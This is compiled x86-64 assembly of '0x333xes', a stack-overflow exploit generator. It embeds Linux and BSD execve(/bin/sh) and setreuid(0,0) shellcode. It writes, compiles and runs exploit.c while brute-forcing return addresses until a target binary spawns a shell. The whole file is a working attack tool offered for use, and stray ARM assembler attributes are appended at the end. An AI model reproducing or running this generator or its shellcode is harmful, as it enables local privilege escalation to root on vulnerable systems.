	.file	"827287.c"
	.intel_syntax noprefix
	.text
	.globl	shark
	.section	.rodata
	.align 8
.LC0:
	.string	" \"touch xes\" shellcode [-test only-]"
	.align 8
.LC1:
	.ascii	"unsigned char test[] =\n\t\"\\xeb\\x30\\x5e\\x89\\x76\\x16\\"
	.ascii	"x31\\xc0\\x88\"\n\t\"\\x46\\x08\\x88\\x46\\x0b\\x88\\x46\\x1"
	.ascii	"5\\x89\"\n\t\"\\x"
	.string	"46\\x22\\xb0\\x0b\\x8d\\x5e\\x09\\x89\\x5e\"\n\t\"\\x1a\\x8d\\x5e\\x0c\\x89\\x5e\\x1e\\x89\\xf3\"\n\t\"\\x8d\\x4e\\x16\\x8d\\x56\\x22\\xcd\\x80\\x31\"\n\t\"\\xc0\\xb0\\x01\\xcd\\x80\\xe8\\xcb\\xff\\xff\"\n\t\"\\xff\\x2f\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\"\n\t\"\\x20\\x2d\\x63\\x20\\x74\\x6f\\x75\\x63\\x68\"\n\t\"\\x20\\x78\\x65\\x73\";"
.LC2:
	.string	" execve(/bin/sh); [linux]"
	.align 8
.LC3:
	.string	"unsigned char sharkode[] =\n\t\"\\x31\\xc0\\x50\\x68\\x6e\\x2f\\x73\\x68\\x68\"\n\t\"\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x99\\x52\\x53\"\n\t\"\\x89\\xe1\\xb0\\x0b\\xcd\\x80\";"
.LC4:
	.string	" execve(/bin/sh); [*BSD]"
	.align 8
.LC5:
	.string	"unsigned char sharkode[] =\n\t\"\\x31\\xc0\\x50\\x68\\x6e\\x2f\\x73\\x68\\x68\"\n\t\"\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x50\\x54\\x53\"\n\t\"\\x50\\xb0\\x3b\\xcd\\x80\";"
.LC6:
	.string	" setreuid(0,0)  shellcode"
	.align 8
.LC7:
	.string	"unsigned char sharkode[] =\n\t\"\\x31\\xc0\\x31\\xdb\\x31\\xc9\\xb0\\x46\\xcd\"\n\t\"\\x80\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\"\n\t\"\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x8d\\x54\"\n\t\"\\x24\\x08\\x50\\x53\\x8d\\x0c\\x24\\xb0\\x0b\"\n\t\"\\xcd\\x80\\x31\\xc0\\xb0\\x01\\xcd\\x80\";"
	.section	.data.rel.local,"aw"
	.align 32
	.type	shark, @object
	.size	shark, 80
shark:
	.quad	.LC0
	.quad	.LC1
	.quad	.LC2
	.quad	.LC3
	.quad	.LC4
	.quad	.LC5
	.quad	.LC6
	.quad	.LC7
	.quad	0
	.quad	0
	.globl	off
	.bss
	.align 4
	.type	off, @object
	.size	off, 4
off:
	.zero	4
	.section	.rodata
.LC8:
	.string	"0.3"
	.align 8
.LC9:
	.string	"\n [~] 0x333xes => stack overflow exploit generator v%s [~]\n"
	.align 8
.LC10:
	.string	" [~]          coded by c0wboy ~ www.0x333.org          [~] \n\n"
	.align 8
.LC11:
	.string	" Usage : %s [ -b binary ] [ -e environ ] [ -w switch ]"
	.align 8
.LC12:
	.string	" [ -s type ] [ -x ] [ -l lenght ] [ -o lenght ] [ -a align ] [ -h ]\n"
.LC13:
	.string	"\n \t-b\tbugged binary\n"
	.align 8
.LC14:
	.string	" \t-e\tset environ variable bugged\n"
.LC15:
	.string	" \t-w\tset switch bugged\n"
.LC16:
	.string	" \t-s\tshellcode type [0-%d]\n"
.LC17:
	.string	" \t-x\tshellcode list\n"
.LC18:
	.string	" \t-l\tbuffer lenght\n"
	.align 8
.LC19:
	.string	" \t-o\tevil buffer (nop+shellcode) lenght (default 1337)\n"
	.align 8
.LC20:
	.string	" \t-a\talign the buffer (try 1)\n"
.LC21:
	.string	" \t-h\tdisplay this help\n\n"
	.text
	.globl	usage
	.type	usage, @function
usage:
.LFB6:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	mov	QWORD PTR -8[rbp], rdi
	mov	rax, QWORD PTR stderr[rip]
	lea	rdx, .LC8[rip]
	lea	rsi, .LC9[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 61
	mov	esi, 1
	lea	rdi, .LC10[rip]
	call	fwrite@PLT
	mov	rax, QWORD PTR stderr[rip]
	mov	rdx, QWORD PTR -8[rbp]
	lea	rsi, .LC11[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 68
	mov	esi, 1
	lea	rdi, .LC12[rip]
	call	fwrite@PLT
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 20
	mov	esi, 1
	lea	rdi, .LC13[rip]
	call	fwrite@PLT
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 33
	mov	esi, 1
	lea	rdi, .LC14[rip]
	call	fwrite@PLT
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 23
	mov	esi, 1
	lea	rdi, .LC15[rip]
	call	fwrite@PLT
	mov	rax, QWORD PTR stderr[rip]
	mov	edx, 3
	lea	rsi, .LC16[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 20
	mov	esi, 1
	lea	rdi, .LC17[rip]
	call	fwrite@PLT
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 19
	mov	esi, 1
	lea	rdi, .LC18[rip]
	call	fwrite@PLT
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 55
	mov	esi, 1
	lea	rdi, .LC19[rip]
	call	fwrite@PLT
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 30
	mov	esi, 1
	lea	rdi, .LC20[rip]
	call	fwrite@PLT
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 24
	mov	esi, 1
	lea	rdi, .LC21[rip]
	call	fwrite@PLT
	mov	edi, -333
	call	exit@PLT
	.cfi_endproc
.LFE6:
	.size	usage, .-usage
	.section	.rodata
.LC22:
	.string	"\n [~] Shellcode Types :\n"
.LC23:
	.string	" --------------------- \n"
.LC24:
	.string	" [%d] %s\n"
	.text
	.globl	shak_list
	.type	shak_list, @function
shak_list:
.LFB7:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	mov	rax, QWORD PTR stdout[rip]
	mov	rcx, rax
	mov	edx, 24
	mov	esi, 1
	lea	rdi, .LC22[rip]
	call	fwrite@PLT
	mov	rax, QWORD PTR stdout[rip]
	mov	rcx, rax
	mov	edx, 24
	mov	esi, 1
	lea	rdi, .LC23[rip]
	call	fwrite@PLT
	mov	DWORD PTR -4[rbp], 0
	jmp	.L3
.L4:
	mov	eax, DWORD PTR -4[rbp]
	cdqe
	sal	rax, 4
	mov	rdx, rax
	lea	rax, shark[rip]
	mov	rcx, QWORD PTR [rdx+rax]
	mov	rax, QWORD PTR stdout[rip]
	mov	edx, DWORD PTR -4[rbp]
	lea	rsi, .LC24[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	add	DWORD PTR -4[rbp], 1
.L3:
	mov	eax, DWORD PTR -4[rbp]
	cdqe
	sal	rax, 4
	mov	rdx, rax
	lea	rax, shark[rip]
	mov	rax, QWORD PTR [rdx+rax]
	test	rax, rax
	jne	.L4
	mov	rax, QWORD PTR stdout[rip]
	mov	rsi, rax
	mov	edi, 10
	call	fputc@PLT
	mov	edi, -333
	call	exit@PLT
	.cfi_endproc
.LFE7:
	.size	shak_list, .-shak_list
	.section	.rodata
.LC25:
	.string	"./exploit 0x%x"
.LC26:
	.string	" * testing 0x%x\n"
.LC27:
	.string	"r"
	.align 8
.LC28:
	.string	" [-] Error in testing exploit ...\n\n"
.LC29:
	.string	"xes"
	.align 8
.LC30:
	.string	" [~] ret address NOT found ..\n [~] we suppose :\n\n    [*] wrong buffer align\n [~] try to solve this problem ...\n"
	.text
	.globl	xes
	.type	xes, @function
xes:
.LFB8:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 96
	mov	DWORD PTR -84[rbp], edi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	eax, DWORD PTR off[rip]
	test	eax, eax
	je	.L6
	mov	eax, 3221217535
	mov	QWORD PTR -72[rbp], rax
	jmp	.L7
.L6:
	mov	eax, 3221222144
	mov	QWORD PTR -72[rbp], rax
.L7:
	mov	DWORD PTR -76[rbp], 1
	jmp	.L8
.L12:
	lea	rax, -48[rbp]
	mov	QWORD PTR [rax], 0
	mov	QWORD PTR 8[rax], 0
	mov	QWORD PTR 16[rax], 0
	mov	QWORD PTR 24[rax], 0
	mov	BYTE PTR 32[rax], 0
	mov	rdx, QWORD PTR -72[rbp]
	lea	rax, -48[rbp]
	lea	rsi, .LC25[rip]
	mov	rdi, rax
	mov	eax, 0
	call	sprintf@PLT
	mov	rax, QWORD PTR stdout[rip]
	mov	rdx, QWORD PTR -72[rbp]
	lea	rsi, .LC26[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	lea	rax, -48[rbp]
	lea	rsi, .LC27[rip]
	mov	rdi, rax
	call	popen@PLT
	mov	QWORD PTR -64[rbp], rax
	cmp	QWORD PTR -64[rbp], 0
	jne	.L9
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 35
	mov	esi, 1
	lea	rdi, .LC28[rip]
	call	fwrite@PLT
	mov	edi, -333
	call	exit@PLT
.L9:
	lea	rsi, .LC27[rip]
	lea	rdi, .LC29[rip]
	call	fopen@PLT
	mov	QWORD PTR -56[rbp], rax
	cmp	QWORD PTR -56[rbp], 0
	je	.L10
	mov	rax, QWORD PTR -64[rbp]
	mov	rdi, rax
	call	pclose@PLT
	mov	rax, QWORD PTR -56[rbp]
	mov	rdi, rax
	call	fclose@PLT
	mov	rax, QWORD PTR -72[rbp]
	add	rax, 223
	jmp	.L14
.L10:
	mov	rax, QWORD PTR -64[rbp]
	mov	rdi, rax
	call	pclose@PLT
	add	DWORD PTR -76[rbp], 1
	add	QWORD PTR -72[rbp], 1
.L8:
	mov	eax, DWORD PTR -76[rbp]
	movsx	rdx, eax
	mov	eax, 3221225471
	sub	rax, QWORD PTR -72[rbp]
	cmp	rdx, rax
	jb	.L12
	cmp	DWORD PTR -84[rbp], 0
	jne	.L13
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 111
	mov	esi, 1
	lea	rdi, .LC30[rip]
	call	fwrite@PLT
.L13:
	mov	eax, 819
.L14:
	mov	rcx, QWORD PTR -8[rbp]
	sub	rcx, QWORD PTR fs:40
	je	.L15
	call	__stack_chk_fail@PLT
.L15:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE8:
	.size	xes, .-xes
	.section	.rodata
	.align 8
.LC31:
	.string	" [-] explotable-buffer is too long\n"
.LC32:
	.string	" [-] ret-buffer too long\n"
.LC33:
	.string	"xhb:e:w:s:l:o:a:"
	.align 8
.LC34:
	.string	"\n [~] 0x333xes => stack flow exploit generator [~]\n"
	.align 8
.LC35:
	.string	" [~]      coded by c0wboy ~ www.0x333.org     [~] \n\n"
	.align 8
.LC36:
	.string	" [*] creating source code ...\n"
.LC37:
	.string	"rm -rf xes"
.LC38:
	.string	"w"
.LC39:
	.string	"exploit.c"
.LC40:
	.string	" [-] Error in creating %s\n"
	.align 8
.LC41:
	.string	"/*  Generated with 0x333xes ~ coded by c0wboy\n *"
	.align 8
.LC42:
	.string	"\n *  ~ www.0x333.org ~\n *\n */ "
	.align 8
.LC43:
	.string	"\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n"
	.align 8
.LC44:
	.string	"#include <string.h>\n\n#define BIN\t\"%s\"\n#define NOP\t0x90\n"
.LC45:
	.string	"#define BUFFER\t%i\n"
.LC46:
	.string	"#define OUTSIDE\t%i\n"
.LC47:
	.string	"#define ALIGN\t0\n"
.LC48:
	.string	"#define ALIGN\t%d\n"
.LC49:
	.string	"#define RET\t0x%x\n"
.LC50:
	.string	"\n\n%s\n"
.LC51:
	.string	"int\nmain ()\n"
	.align 8
.LC52:
	.string	"int\nmain (int argc, char * argv[])\n"
	.align 8
.LC53:
	.string	"{\n   int x;\n   char buf[BUFFER], *bufz;\n"
	.align 8
.LC54:
	.string	"{\n   int x;\n   char buf[BUFFER], out[OUTSIDE], *bufz;\n"
	.align 8
.LC55:
	.string	"   unsigned long ret_add = RET, *add_ptr ;\n\n"
	.align 8
.LC56:
	.string	"   unsigned long ret_add, *add_ptr ;\n\n   if (argc != 2)\n      exit (-333);\n\n   ret_add = strtoul (argv[1], &argv[1], 16);\n\n"
	.align 8
.LC57:
	.string	"   bufz = buf + ALIGN;\n   add_ptr = (long *)bufz;\n\n   for (x=0; x<BUFFER-1; x+=4)\n      *(add_ptr++)=ret_add;\n\n"
	.align 8
.LC58:
	.string	"   /* nop + shellcode */\n   memset ((char *)buf, NOP, 333 + strlen (sharkode));\n   memcpy ((char *)buf+333, sharkode, strlen (sharkode));\n\n"
	.align 8
.LC59:
	.string	"   /* nop + shellcode */\n   memset ((char *)buf, NOP, 333 + strlen (test));\n   memcpy ((char *)buf+333, test, strlen (test));\n\n"
	.align 8
.LC60:
	.string	"   /* nop + shellcode */\n   memset ((char *)out, NOP, OUTSIDE);\n"
	.align 8
.LC61:
	.string	"   memcpy ((char *)out + 333, sharkode, strlen(sharkode));\n\n"
	.align 8
.LC62:
	.string	"   memcpy ((char *)out + 333, test, strlen(test));\n\n"
	.align 8
.LC63:
	.string	"   memcpy((char *)out, \"OUT=\", 4);\n   putenv(out);\n\n"
.LC64:
	.string	"   setenv (\"%s\", buf, 333);\n"
	.align 8
.LC65:
	.string	"\n   fprintf (stdout, \" Local exploit for %s\");\n"
	.align 8
.LC66:
	.string	"   execl (BIN, BIN, \"%s\", buf, NULL);\n"
.LC67:
	.string	"   execl (BIN, BIN, NULL);\n"
	.align 8
.LC68:
	.string	"   execl (BIN, BIN, buf, NULL);\n"
.LC69:
	.string	"\n   return 0;\n}\n\n"
.LC70:
	.string	"gcc %s -o exploit"
.LC71:
	.string	" [*] exploit created\n"
	.align 8
.LC72:
	.string	" [*] now find correct ret add\n"
	.align 8
.LC73:
	.string	" [-] exploit doesn't work ...\n    [**] maybe binary has not -stack- overflow problem [**]\n [-] other problems can be detected by reading source code ...\n [-] sorry\n"
.LC74:
	.string	"rm -rf exploit xes"
	.align 8
.LC75:
	.string	"\n [*] your working exploit for %s is ready !\n\n"
	.text
	.globl	main
	.type	main, @function
main:
.LFB9:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 208
	mov	DWORD PTR -196[rbp], edi
	mov	QWORD PTR -208[rbp], rsi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	DWORD PTR -180[rbp], 0
	mov	DWORD PTR -176[rbp], 0
	mov	DWORD PTR -172[rbp], 1337
	mov	DWORD PTR -168[rbp], 0
	mov	DWORD PTR -164[rbp], 0
	mov	DWORD PTR -160[rbp], 0
	mov	QWORD PTR -152[rbp], 0
	mov	QWORD PTR -144[rbp], 0
	mov	QWORD PTR -136[rbp], 0
	jmp	.L17
.L33:
	mov	eax, DWORD PTR -156[rbp]
	sub	eax, 97
	cmp	eax, 23
	ja	.L18
	mov	eax, eax
	lea	rdx, 0[0+rax*4]
	lea	rax, .L20[rip]
	mov	eax, DWORD PTR [rdx+rax]
	cdqe
	lea	rdx, .L20[rip]
	add	rax, rdx
	notrack jmp	rax
	.section	.rodata
	.align 4
	.align 4
.L20:
	.long	.L28-.L20
	.long	.L27-.L20
	.long	.L18-.L20
	.long	.L18-.L20
	.long	.L26-.L20
	.long	.L18-.L20
	.long	.L18-.L20
	.long	.L25-.L20
	.long	.L18-.L20
	.long	.L18-.L20
	.long	.L18-.L20
	.long	.L24-.L20
	.long	.L18-.L20
	.long	.L18-.L20
	.long	.L23-.L20
	.long	.L18-.L20
	.long	.L18-.L20
	.long	.L18-.L20
	.long	.L22-.L20
	.long	.L18-.L20
	.long	.L18-.L20
	.long	.L18-.L20
	.long	.L21-.L20
	.long	.L19-.L20
	.text
.L27:
	mov	rax, QWORD PTR optarg[rip]
	mov	QWORD PTR -152[rbp], rax
	jmp	.L17
.L26:
	mov	rax, QWORD PTR optarg[rip]
	mov	QWORD PTR -136[rbp], rax
	mov	DWORD PTR off[rip], 1
	jmp	.L17
.L21:
	mov	rax, QWORD PTR optarg[rip]
	mov	QWORD PTR -144[rbp], rax
	jmp	.L17
.L22:
	mov	rax, QWORD PTR optarg[rip]
	mov	rdi, rax
	call	atoi@PLT
	mov	DWORD PTR -180[rbp], eax
	cmp	DWORD PTR -180[rbp], 0
	js	.L29
	cmp	DWORD PTR -180[rbp], 3
	jle	.L17
.L29:
	mov	rax, QWORD PTR -208[rbp]
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	usage
	jmp	.L17
.L19:
	call	shak_list
.L24:
	mov	rax, QWORD PTR optarg[rip]
	mov	rdi, rax
	call	atoi@PLT
	mov	DWORD PTR -176[rbp], eax
	cmp	DWORD PTR -176[rbp], 10240
	jle	.L17
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 35
	mov	esi, 1
	lea	rdi, .LC31[rip]
	call	fwrite@PLT
	mov	edi, -333
	call	exit@PLT
.L23:
	mov	rax, QWORD PTR optarg[rip]
	mov	rdi, rax
	call	atoi@PLT
	mov	DWORD PTR -172[rbp], eax
	cmp	DWORD PTR -172[rbp], 1337
	jle	.L17
	mov	rax, QWORD PTR stderr[rip]
	mov	rcx, rax
	mov	edx, 25
	mov	esi, 1
	lea	rdi, .LC32[rip]
	call	fwrite@PLT
	mov	edi, -333
	call	exit@PLT
.L28:
	mov	rax, QWORD PTR optarg[rip]
	mov	rdi, rax
	call	atoi@PLT
	mov	DWORD PTR -164[rbp], eax
	jmp	.L17
.L25:
	mov	rax, QWORD PTR -208[rbp]
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	usage
.L18:
	mov	rax, QWORD PTR -208[rbp]
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	usage
.L17:
	mov	rcx, QWORD PTR -208[rbp]
	mov	eax, DWORD PTR -196[rbp]
	lea	rdx, .LC33[rip]
	mov	rsi, rcx
	mov	edi, eax
	call	getopt@PLT
	mov	DWORD PTR -156[rbp], eax
	cmp	DWORD PTR -156[rbp], -1
	jne	.L33
	cmp	QWORD PTR -152[rbp], 0
	je	.L34
	cmp	DWORD PTR -176[rbp], 0
	je	.L34
	cmp	QWORD PTR -136[rbp], 0
	je	.L35
	cmp	QWORD PTR -144[rbp], 0
	je	.L35
.L34:
	mov	rax, QWORD PTR -208[rbp]
	mov	rax, QWORD PTR [rax]
	mov	rdi, rax
	call	usage
.L35:
	mov	rax, QWORD PTR stdout[rip]
	mov	rcx, rax
	mov	edx, 51
	mov	esi, 1
	lea	rdi, .LC34[rip]
	call	fwrite@PLT
	mov	rax, QWORD PTR stdout[rip]
	mov	rcx, rax
	mov	edx, 52
	mov	esi, 1
	lea	rdi, .LC35[rip]
	call	fwrite@PLT
	mov	rax, QWORD PTR stdout[rip]
	mov	rcx, rax
	mov	edx, 30
	mov	esi, 1
	lea	rdi, .LC36[rip]
	call	fwrite@PLT
.L36:
	lea	rdi, .LC37[rip]
	call	system@PLT
	lea	rsi, .LC38[rip]
	lea	rdi, .LC39[rip]
	call	fopen@PLT
	mov	QWORD PTR -120[rbp], rax
	cmp	QWORD PTR -120[rbp], 0
	jne	.L37
	mov	rax, QWORD PTR stderr[rip]
	lea	rdx, .LC39[rip]
	lea	rsi, .LC40[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	mov	edi, -333
	call	exit@PLT
.L37:
	mov	rax, QWORD PTR -120[rbp]
	mov	rcx, rax
	mov	edx, 48
	mov	esi, 1
	lea	rdi, .LC41[rip]
	call	fwrite@PLT
	mov	rax, QWORD PTR -120[rbp]
	mov	rcx, rax
	mov	edx, 30
	mov	esi, 1
	lea	rdi, .LC42[rip]
	call	fwrite@PLT
	mov	rax, QWORD PTR -120[rbp]
	mov	rcx, rax
	mov	edx, 60
	mov	esi, 1
	lea	rdi, .LC43[rip]
	call	fwrite@PLT
	mov	rdx, QWORD PTR -152[rbp]
	mov	rax, QWORD PTR -120[rbp]
	lea	rsi, .LC44[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	mov	edx, DWORD PTR -176[rbp]
	mov	rax, QWORD PTR -120[rbp]
	lea	rsi, .LC45[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	cmp	QWORD PTR -136[rbp], 0
	jne	.L38
	mov	edx, DWORD PTR -172[rbp]
	mov	rax, QWORD PTR -120[rbp]
	lea	rsi, .LC46[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
.L38:
	cmp	DWORD PTR -160[rbp], 0
	je	.L39
	mov	DWORD PTR -164[rbp], 1
.L39:
	cmp	DWORD PTR -164[rbp], 0
	jne	.L40
	mov	rax, QWORD PTR -120[rbp]
	mov	rcx, rax
	mov	edx, 16
	mov	esi, 1
	lea	rdi, .LC47[rip]
	call	fwrite@PLT
	jmp	.L41
.L40:
	mov	edx, DWORD PTR -164[rbp]
	mov	rax, QWORD PTR -120[rbp]
	lea	rsi, .LC48[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
.L41:
	cmp	DWORD PTR -168[rbp], 0
	je	.L42
	mov	rdx, QWORD PTR -128[rbp]
	mov	rax, QWORD PTR -120[rbp]
	lea	rsi, .LC49[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
.L42:
	cmp	DWORD PTR -168[rbp], 0
	je	.L43
	mov	eax, DWORD PTR -180[rbp]
	cdqe
	sal	rax, 4
	mov	rdx, rax
	lea	rax, shark[rip+8]
	mov	rdx, QWORD PTR [rdx+rax]
	mov	rax, QWORD PTR -120[rbp]
	lea	rsi, .LC50[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L44
.L43:
	mov	rdx, QWORD PTR shark[rip+8]
	mov	rax, QWORD PTR -120[rbp]
	lea	rsi, .LC50[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
.L44:
	cmp	DWORD PTR -168[rbp], 0
	je	.L45
	mov	rax, QWORD PTR -120[rbp]
	mov	rcx, rax
	mov	edx, 12
	mov	esi, 1
	lea	rdi, .LC51[rip]
	call	fwrite@PLT
	jmp	.L46
.L45:
	mov	rax, QWORD PTR -120[rbp]
	mov	rcx, rax
	mov	edx, 35
	mov	esi, 1
	lea	rdi, .LC52[rip]
	call	fwrite@PLT
.L46:
	cmp	QWORD PTR -136[rbp], 0
	je	.L47
	mov	rax, QWORD PTR -120[rbp]
	mov	rcx, rax
	mov	edx, 40
	mov	esi, 1
	lea	rdi, .LC53[rip]
	call	fwrite@PLT
	jmp	.L48
.L47:
	mov	rax, QWORD PTR -120[rbp]
	mov	rcx, rax
	mov	edx, 54
	mov	esi, 1
	lea	rdi, .LC54[rip]
	call	fwrite@PLT
.L48:
	cmp	DWORD PTR -168[rbp], 0
	je	.L49
	mov	rax, QWORD PTR -120[rbp]
	mov	rcx, rax
	mov	edx, 44
	mov	esi, 1
	lea	rdi, .LC55[rip]
	call	fwrite@PLT
	jmp	.L50
.L49:
	mov	rax, QWORD PTR -120[rbp]
	mov	rcx, rax
	mov	edx, 123
	mov	esi, 1
	lea	rdi, .LC56[rip]
	call	fwrite@PLT
.L50:
	mov	rax, QWORD PTR -120[rbp]
	mov	rcx, rax
	mov	edx, 111
	mov	esi, 1
	lea	rdi, .LC57[rip]
	call	fwrite@PLT
	cmp	QWORD PTR -136[rbp], 0
	je	.L51
	cmp	DWORD PTR -168[rbp], 0
	je	.L52
	mov	rax, QWORD PTR -120[rbp]
	mov	rcx, rax
	mov	edx, 139
	mov	esi, 1
	lea	rdi, .LC58[rip]
	call	fwrite@PLT
	jmp	.L53
.L52:
	mov	rax, QWORD PTR -120[rbp]
	mov	rcx, rax
	mov	edx, 127
	mov	esi, 1
	lea	rdi, .LC59[rip]
	call	fwrite@PLT
	jmp	.L53
.L51:
	mov	rax, QWORD PTR -120[rbp]
	mov	rcx, rax
	mov	edx, 64
	mov	esi, 1
	lea	rdi, .LC60[rip]
	call	fwrite@PLT
	cmp	DWORD PTR -168[rbp], 0
	je	.L54
	mov	rax, QWORD PTR -120[rbp]
	mov	rcx, rax
	mov	edx, 60
	mov	esi, 1
	lea	rdi, .LC61[rip]
	call	fwrite@PLT
	jmp	.L55
.L54:
	mov	rax, QWORD PTR -120[rbp]
	mov	rcx, rax
	mov	edx, 52
	mov	esi, 1
	lea	rdi, .LC62[rip]
	call	fwrite@PLT
.L55:
	mov	rax, QWORD PTR -120[rbp]
	mov	rcx, rax
	mov	edx, 52
	mov	esi, 1
	lea	rdi, .LC63[rip]
	call	fwrite@PLT
.L53:
	cmp	QWORD PTR -136[rbp], 0
	je	.L56
	cmp	DWORD PTR -168[rbp], 0
	je	.L57
	mov	rax, QWORD PTR -120[rbp]
	mov	rsi, rax
	mov	edi, 10
	call	fputc@PLT
.L57:
	mov	rdx, QWORD PTR -136[rbp]
	mov	rax, QWORD PTR -120[rbp]
	lea	rsi, .LC64[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
.L56:
	cmp	DWORD PTR -168[rbp], 0
	je	.L58
	mov	rdx, QWORD PTR -152[rbp]
	mov	rax, QWORD PTR -120[rbp]
	lea	rsi, .LC65[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
.L58:
	cmp	QWORD PTR -144[rbp], 0
	je	.L59
	mov	rdx, QWORD PTR -144[rbp]
	mov	rax, QWORD PTR -120[rbp]
	lea	rsi, .LC66[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	jmp	.L60
.L59:
	cmp	QWORD PTR -136[rbp], 0
	je	.L61
	mov	rax, QWORD PTR -120[rbp]
	mov	rcx, rax
	mov	edx, 27
	mov	esi, 1
	lea	rdi, .LC67[rip]
	call	fwrite@PLT
	jmp	.L60
.L61:
	mov	rax, QWORD PTR -120[rbp]
	mov	rcx, rax
	mov	edx, 32
	mov	esi, 1
	lea	rdi, .LC68[rip]
	call	fwrite@PLT
.L60:
	mov	rax, QWORD PTR -120[rbp]
	mov	rcx, rax
	mov	edx, 17
	mov	esi, 1
	lea	rdi, .LC69[rip]
	call	fwrite@PLT
	mov	rax, QWORD PTR -120[rbp]
	mov	rdi, rax
	call	fclose@PLT
	cmp	DWORD PTR -168[rbp], 0
	jne	.L62
	lea	rax, -112[rbp]
	lea	rdx, .LC39[rip]
	lea	rsi, .LC70[rip]
	mov	rdi, rax
	mov	eax, 0
	call	sprintf@PLT
	lea	rax, -112[rbp]
	mov	rdi, rax
	call	system@PLT
	mov	rax, QWORD PTR stdout[rip]
	mov	rcx, rax
	mov	edx, 21
	mov	esi, 1
	lea	rdi, .LC71[rip]
	call	fwrite@PLT
	mov	rax, QWORD PTR stdout[rip]
	mov	rcx, rax
	mov	edx, 30
	mov	esi, 1
	lea	rdi, .LC72[rip]
	call	fwrite@PLT
	mov	eax, DWORD PTR -160[rbp]
	mov	edi, eax
	call	xes
	mov	QWORD PTR -128[rbp], rax
	cmp	QWORD PTR -128[rbp], 819
	jne	.L63
	cmp	DWORD PTR -160[rbp], 0
	je	.L64
	mov	rax, QWORD PTR -120[rbp]
	mov	rcx, rax
	mov	edx, 164
	mov	esi, 1
	lea	rdi, .LC73[rip]
	call	fwrite@PLT
	mov	edi, -333
	call	exit@PLT
.L64:
	mov	DWORD PTR -160[rbp], 1
	jmp	.L36
.L63:
	mov	DWORD PTR -168[rbp], 1
	jmp	.L36
.L62:
	lea	rdi, .LC74[rip]
	call	system@PLT
	mov	rax, QWORD PTR stdout[rip]
	mov	rdx, QWORD PTR -152[rbp]
	lea	rsi, .LC75[rip]
	mov	rdi, rax
	mov	eax, 0
	call	fprintf@PLT
	mov	eax, 0
	mov	rcx, QWORD PTR -8[rbp]
	sub	rcx, QWORD PTR fs:40
	je	.L66
	call	__stack_chk_fail@PLT
.L66:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE9:
	.size	main, .-main
	.ident	"GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 6
	.eabi_attribute 34, 0
